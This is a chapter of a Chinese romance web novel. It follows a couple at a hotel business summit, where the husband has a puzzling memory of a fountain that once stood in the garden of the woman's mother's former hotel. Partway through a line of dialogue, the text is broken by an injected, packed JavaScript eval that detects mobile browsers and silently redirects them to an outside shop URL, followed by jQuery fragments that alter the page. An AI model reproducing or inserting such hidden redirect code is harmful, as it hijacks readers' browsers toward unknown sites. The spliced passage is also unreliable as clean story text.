“这也太不负责了。”
将顾向允的态度代入他们的感情后，林初影感到有些微妙和不舒服。
“你对我们的感情难道也是这样的？为什么会产生、怎么产生的，都无所谓，反正日子能过就行？”
“这怎么能一样？”顾向允急忙摆手否认，“我对兼职和工作，是纯粹的金钱关系；可我对你，那就是纯粹的私人感情了。”
林初影信他个鬼，丢过去一个质疑的眼神：“真的？”
顾向允急忙修改了一下措辞：“稍微……含那么一点点金钱关系吧。但这怎么能和工作一样？”
顾向允伸手，轻轻将她拉进怀里。
“工作项目我会想着赶紧结束了不要再来，但你，我会想着欢迎下次光临。”
正儿八经的一段话，愣是被他一个“欢迎光临”给弄得不对劲了起来。她红着脸又是一瞪：“谁要光临你了？自作多情。”
顾向允轻笑，接着解释：“再说我这样怎么是不负责呢？我这明明是负责的表情。该我做的我就确保做好，不该我做的我就不多管闲事。
“我喜欢当执行者，不喜欢、也当不来决策人。你觉得呢，领导？”
前面还没缓过来呢，冷不丁的领导两字又让她又气又羞，抬手往那人眉心就是嫌弃地一戳。
“谁是你领导？我才没有你这么不省心的员工呢。起开，我要和妈妈说一声主题峰会的事。”
别的不说，顾向允的这段解释深得她心。和这见钱眼开的钱罐子相反，她非常享受决策的瞬间，那种全权由自己拿主意的感觉，令她非常着迷。
从这个角度来说，她和顾向允还真是天生一对——完全就是主人与狗。
想到这里，林初影的心情就很好，脚步轻快地去找电脑和妈妈打视频通话了。她全然没发觉，顾向允始终在她身后看着她的一举一动，最后摇了摇头，无声地轻叹。
-
说随便刷个脸就算数的，林初影真就没太把峰会当一回事，活动当天吃完午饭了才开始收拾。
两人也犹如周末约会一般，遛弯似地到了主题峰会举办的地点，那个在旧电视塔附近的NOXHotel。
“它的地理位置可太好了。”
在入口处签到后，林初影一边避开媒体记者们，牵着顾向允往里走，一边给顾向允介绍。
“就因为开在旧地标旁边，很多local都对它有回忆滤镜。
“这家NOX是品牌首店和旗舰店，纵横在这家店的管理上不敢懈怠。去年出事后，他们旗下酒店的用户评价呈断崖式下跌，这一家NOX是所剩无几还能维持优良风评，算是纵横仅剩的一点‘脸面’。”
故此，林初影不用看地址都知道，主题峰会肯定会选在这儿办。
“地理位置确实好，”顾向允打量着NOX的内部布局和装潢，“连我这种之前从没住过五星级酒店的，都知道它的存在。
“而且还真别说，这里的布局让我感到很熟悉……我可能什么时候来过这里？”
这间NOX虽不在整改范围内，但看得出来，纵横有意地削弱它新潮时尚的品牌印象，例如偷偷拆除了很多原有的霓虹灯带，只保留了标志性的现代潮流混工业风格设计。
这种风格在纵横以外的地方，还是不常见的，倒是前几年被许多主理人酒吧争相模仿。林初影想到这一层，便对顾向允没什么好气。
“你什么时候来过？”她剐了身旁人一眼刀，“纵横在酒店管理上的能力不足，但经营酒吧和夜店可是真有几把刷子的——他们的调酒服务一直很受酒蒙子好评。你会觉得熟悉，不会是没少出入吧？”
顾向允嗐声，立即道：“怎么可能？冯叔的自酿酒好喝还免费，我脑抽了来这里喝八十上百的酒精掺糖水？”
他的解释实在太财迷、太像他了！林初影一秒被说服，只是奇怪。
“你没来过怎么会觉得熟悉？”
“可能天热的时候，进来蹭过空调吧。这里地理位置这么好，林氏没在附近也开间什么酒店吗？有的话我说不定也进去过。”
林初影正要回答他的问题，却被旁边走来的一道倩影打断了对话：“哎呀，初影？”
林初影急忙打住，一秒切换成社交状态与来人握手打招呼：“何理事！好久不见，您最近都还顺利吧？
“噢！差点忘了介绍，这是我先生，您喊他小顾就行。”
林初影非常自然拉过身边人，对外介绍道。
“这是自在旅舍的创始人，何理事，妈妈的好友之一。”
顾向允非常上道地向何理事欠身：“何理事您好。”
何理事摆摆手，笑容更灿烂了几分：“太客气了！我那才几间店面，算得上什么理事？叫我何姨就行。
“早听映华说了你结婚的事，今天一看，小两口果然登对呀。”
“您过赞了，”林初影斜了一眼顾向允，既有自谦，也又那么一点小骄傲，“算他还听话吧，任由我差遣。”
“哎哟，这还不好啊？”何理事笑眼弯弯，“听你说话都流蜜呢。你妈妈最近怎么样？我前段时间才知道，她将予舒接手过去了？那么大一个烂摊子，得亏她敢要。”
“妈妈挺好的。予舒的事我听她说过，她比较念旧情嘛，又遭遇过类似的处境，不忍心看老同学的心血被拍卖，就接下来了——现在是挂在了我舅舅名下，没入林氏的框架。”
“说来，能在这里见到您还真有些出乎我意料，我以为您不会来呢？”
“我近期在深城活动。本来吧……确实不想来的，可离得太近了，不好拒绝。”
两人再自然不过地抱怨起了纵横。顾向允插不上话，就当好大小姐的巨型挂件，以半游离的姿态在一旁默默地听。
何理事之后，又相继有好些位企业家或公司代表，上前和林初影打招呼和闲聊。除了开头寒暄几句近况外，其余话题全是商业相关的，顾向允不感兴趣，听着听着开始走起了神。
待林初影挨个寒暄完喊他，他才回了神：“聊完了？不愧是大小姐啊，这么多人争相上前和你打招呼，好多还都是长辈。”
林初影很是骄傲地哼了哼声：“当然，既是因为林氏的名声大，也是因为妈妈盛名在外。
“不过，是长辈也没什么大不了的，到他们这个年纪，本来也该传位给后代了。迟迟不换任的无非就两种情况，要么是自己的抱负还没实现、不舍得换，要么是后代不争气，不放心换。”
言外之意是，她的妈妈林映华实现了抱负，她也足够争气。总之，她们母女俩都厉害。
听出话外之意的顾向允笑了笑：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242263|197791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看来，还是没实现抱负，或者后代不争气的是多数啊。”
“当然，”林初影更自豪地昂了昂头，“健康良好的传承关系本就难得。就算是背景深厚如百年控股巨头的周家，也会头疼青黄不接、后代靠不住。”
“原来如此，难怪大小姐这般骄傲了，”顾向允笑意更深，扬起下巴指了指前方，“走吧，我想去那边看看。”
说完像是有点兴奋似的，竟然不等林初影反应，就大步一迈地先往后花园方向去了。
觉察到他的急迫情绪，林初影追上的同时也很好奇：“你今晚怎么了？也不是第一次参加正式宴会，怎么还这么高兴。”
反应过来自己走快了，顾向允停下等她跟上，抬手搔了搔眉毛：“不是高兴参加宴会，是……我这么说你别生气，这个酒店真的让我觉得很熟悉。
“这间NOX是什么时候创办的？如果创办时间很早的话，我在想，会不会是我还小的时候，奶奶带我出入过这里？”
他先指了指过来时经过的一个拐角，又指了指后花园的出入口。
“这个拐角，还有这个动线。”
林初影只当他没见过世面，解释道：“好的酒店必然会重视动线设计，而优秀的动线设计总是大同小异。你来林氏的酒店逛逛就知道，林氏的动线和这个差不多，说不定你也会觉着熟悉。”
“不不不，不是那么简单……
“对了，这个酒店是不是有喷泉？”
林初影：“啊？”
“后花园，是不是应该有个喷泉？”顾向允持续兴奋地走到后花园入口，往中心方向一指。
然而后花园中心处，有的只是一座露天的调酒吧台，并没有什么花园。
林初影跟在他身后，也往后花园看了一眼：“怎么样，有喷泉吗？”
“没有……”顾向允顿感失望，略显懊恼地挠了挠头，“不对啊，这里真的没有喷泉？还是说，在别的地方？奇怪，为什么我老觉得这间酒店里应该有喷泉。”
他自言自语地念叨道。林初影却听着他的话，陷入了沉默和沉思。
她有一些没来得及告诉顾向允的事，那就是十多年前，这里确实有个喷泉。
那时，很多广城的居民都喜欢带上亲朋好友，来酒店的后花园聚餐。因为餐点好吃、氛围优雅舒适，喷泉的存在也增添了许多乐趣与惬意，加上地处市区中心、紧挨地标，酒店的名气越来越大。
在喜欢喷泉的小朋友那，酒店的名字被直接以“喷泉酒店”的称号替代。久而久之，酒店成了当地的代表性建筑之一；后花园那个受人喜爱的喷泉，也成了酒店的标志、酒店的精神象征。
而那个时候的酒店，并不是归属于纵横集团所有的NOXHotel，它有另一个名字。
它以前的名字叫成华东方，由林氏集团——当时的掌门人林映华，一手创办和经营。
2010年林氏筹备出海前夕，林映华因对赌失败，按协议将成华东方赔付给纵横集团。
自那开始，成华东方原本的典雅风格被改为新潮，原有的优雅装潢被拆除重修。最具象征性的建筑喷泉，更是被整个推翻，成了露天调酒吧台。
顾向允能这么准确且笃定地，指认后花园有喷泉，说明他小时候一定去过、甚至没少去当时的成华东方。